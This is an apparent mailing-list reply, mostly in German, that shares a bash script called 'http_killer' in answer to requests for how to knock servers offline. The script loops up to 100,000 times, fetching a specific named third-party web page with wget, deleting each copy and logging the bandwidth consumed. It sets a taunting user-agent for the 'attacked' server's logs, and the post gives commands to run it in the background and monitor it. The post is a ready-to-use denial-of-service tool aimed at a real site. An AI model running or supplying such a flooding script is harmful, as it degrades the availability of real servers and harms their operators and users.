[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: Regestrierung



Aufgrund der regen Nachfrage wie man Server plattmacht angeheftet 
das Script.

Ich starte das Script immer mit 

http_killer &

und lasse es im Hintergrund laufen. Meine 512/128kBit ADSL wird nicht 
alzusehr belastet und ich kann noch angenehm surfen auch wenn das 
Script ein paar tage durchläuft ;-)

Zum gewaltsamen stopen verwende ich

kill `cat ~/tmp/http_killer.pid`

Bei einem normalen Abbruch wir auch die PID-File und das Temporäre 
Verzeichnis sauber entfernt. Sollte gekillt werden, gibt es beim 
nächsten Start eine Fehlermeldung. 

Zum lesen der LOG onliene, verwende ich:

tail -f -n 24 ~/log/http_killer.log

Grüße und schönes Wochenende
Michelle

-- 
Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ 
#!/bin/bash

PID=$$

clear
echo "http_killer.exe       scripted by Michelle Konzack <linux4michelle@freenet.de>"
echo
echo "This Script is under GPL Licence v2 or higher. "
echo "Use it as you like, modifie and enhance or learn from it. "
echo 

# Create USER directorys if not exist
if [ ! -d ~/log ] ; then mkdir ~/log ; fi
if [ ! -d ~/tmp ] ; then mkdir ~/tmp ; fi

# Create the temporary download directory
# It will removed after $0 has done its job
if [ ! -d ~/tmp/http_killer ] ; then mkdir ~/tmp/http_killer ; fi

# Check, weter $0 is already running ore not
if [ -f ~/log/http_killer.pid ] ; then
    echo "There is already a running instance of \"http_killer.exe\". If you have "
    echo "killed \"http_killer.exe\" with its PID, please delete the PID-File manualy"
    echo "and start \"http_killer.exe\" again."
    echo
    echo "Please romove following directory:      ~/tmp/http_killer/ "
    echo "and the files:                          ~/tmp/http_killer.pid "
    echo "                                        ~/log/http_killer.log "
    echo
    exit 0
fi

# make the new PIF file
echo $PID >~/log/http_killer.pid

# USER-AGENT String of your choice
# It will apear in the LOG-Files of the attacked Web-Server ;-)
UA='--user-agent="Do not SPAM us !"'

let kBytes=0

# Downloads the HTML-Page as numbered in sequenz
for i in `seq 1 100000` ; do

# Originalseite die Weitergeleitet wird
# wget -P          ~/tmp/http_killer/ http://www.ianta-ki.de/
wget -q $UA -P   ~/tmp/http_killer http://www.beepworld.de/members15/ianta/

# remove the file immediatly because we do not like 
# to have the file million times on our system
rm      -f       ~/tmp/http_killer/*

let kBytes=kBytes+54
let MBytes=kBytes/1024

# Write the curent count into a Logfile for viewing with tail
# 
# tail -f -n 24 ~/log/http_killer.log
#
echo "$i  ($MBytes MByte)" >> ~/log/http_killer.log

done

# Uff, our job is done ! remove the PIF-File
rm     ~/log/http_killer.pid
rm -rf ~/tmp/http_killer

Reply to: